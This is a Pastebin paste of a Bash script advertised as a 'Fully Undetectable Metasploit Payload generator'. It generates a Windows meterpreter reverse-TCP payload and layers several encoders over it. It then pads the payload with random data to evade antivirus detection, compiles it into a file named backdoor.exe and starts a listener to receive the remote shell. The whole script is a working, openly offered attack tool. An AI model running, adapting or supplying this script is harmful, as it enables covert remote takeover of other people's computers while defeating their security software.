Advertisement
Guest User

Vanish Script

a guest
Dec 11th, 2011
18,006
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.39 KB | None | 0 0
  1. #!/bin/bash
  2. # check if file exist that is msfpayload, msfcli etc...
  3. echo "************************************************************"
  4. echo "    Fully Undetectable Metasploit Payload generaor Beta     "
  5. echo "        Original Concept and Script by Astr0baby            "
  6. # Thanks to astr0baby ;)
  7. echo "     Stable Version of Script is Edited by Vanish3r         "
  8. echo "    Video Tutorial by Vanish3r - www.securitylabs.in        "
  9. echo " Powered by TheHackerNews.com and securitylabs.in           "
  10. echo "************************************************************"
  11. # run as root
  12. if [ "$(id -u)" != "0" ]; then
  13.    echo "This script must be run as root" 1>&2
  14.    exit 1
  15. fi
  16. ping localhost -c 5 >nul
  17.  
  18. # Giving Fresh new start so removing old junk
  19. rm -rf seclabs
  20. # if  builtin type -p i686-w64-mingw32-gcc > /dev/null ; then
  21. # else echo "Please install by Command: apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils"
  22. # echo "exiting.....";  exit
  23. # fi
  24. echo "Network Device On your Computer :"
  25. cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
  26. echo -e "Which Interface to use ?  \c"
  27. read interface
  28. echo -e "What Port Number are we gonna listen to? : \c"
  29. read port
  30. echo -e "Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : \c"
  31. read seed
  32. echo -e "How many times you want to encode ? 1-20 : \c"
  33. read enumber
  34. # Get OS name
  35. OS=`uname`
  36. IO="" # store IP
  37. case $OS in
  38.    Linux) IP=`ifconfig $interface  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;;
  39.    *) IP="Unknown";;
  40. esac
  41. echo "Current Ip is : $IP"
  42. ping localhost -c 5 >nul
  43. ./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port EXITFUNC=thread R | ./msfencode -e x86/shikata_ga_nai -c $enumber -t raw | ./msfencode -e x86/jmp_call_additive -c $enumber -t raw | ./msfencode -e x86/call4_dword_xor -c $enumber -t raw |  ./msfencode -e x86/shikata_ga_nai -c $enumber  > test.c  
  44. mkdir seclabs
  45. mv test.c seclabs
  46. cd seclabs
  47. #Replacing plus signs at the end of line
  48. sed -e 's/+/ /g' test.c > clean.c
  49. sed -e 's/buf = /unsigned char micro[]=/g' clean.c > ready.c
  50. echo "#include <stdio.h>" >> temp
  51. echo 'unsigned char ufs[]=' >> temp
  52. for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
  53. sed -i 's/$/"/' temp2
  54. sed -i 's/^/"/' temp2  
  55. echo  ';' >> temp2  
  56. cat temp2 >> temp
  57. cat ready.c >> temp
  58. mv temp ready2.c
  59. echo ";" >> ready2.c
  60. echo "int main(void) { ((void (*)())micro)();}" >> ready2.c  
  61. mv ready2.c final.c
  62. echo 'unsigned char tap[]=' > temp3
  63. for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
  64. sed -i 's/$/"/' temp4
  65. sed -i 's/^/"/' temp4
  66. echo  ';' >> temp4
  67. cat temp4 >> temp3
  68. cat temp3 >> final.c  
  69. #Cleanup of junk useless files :P
  70. rm -f clean.c
  71. rm -f test.c
  72. rm -f ready.c
  73. rm -f rand.c
  74. rm -f temp2
  75. rm -f temp3
  76. rm -f temp4
  77. rm -f nul
  78.  
  79. # compiling..
  80. /usr/bin/i586-mingw32msvc-gcc -Wall ./final.c -o ./final.exe > /dev/null 2>&1
  81. mv final.exe backdoor.exe
  82. filex=`ls -ct1 | head -1`
  83. sumx=`sha1sum $filex`
  84. echo $filex "...generated in seclabs subfolder"
  85. echo $filex "sha1checksum is .." $sumx  
  86. strip --strip-debug $filex
  87. cd ..
  88. echo "      starting the meterpreter listener..."
  89. sleep 2
  90. ping localhost -c 5 >nul
  91. ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
  92.  
  93.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement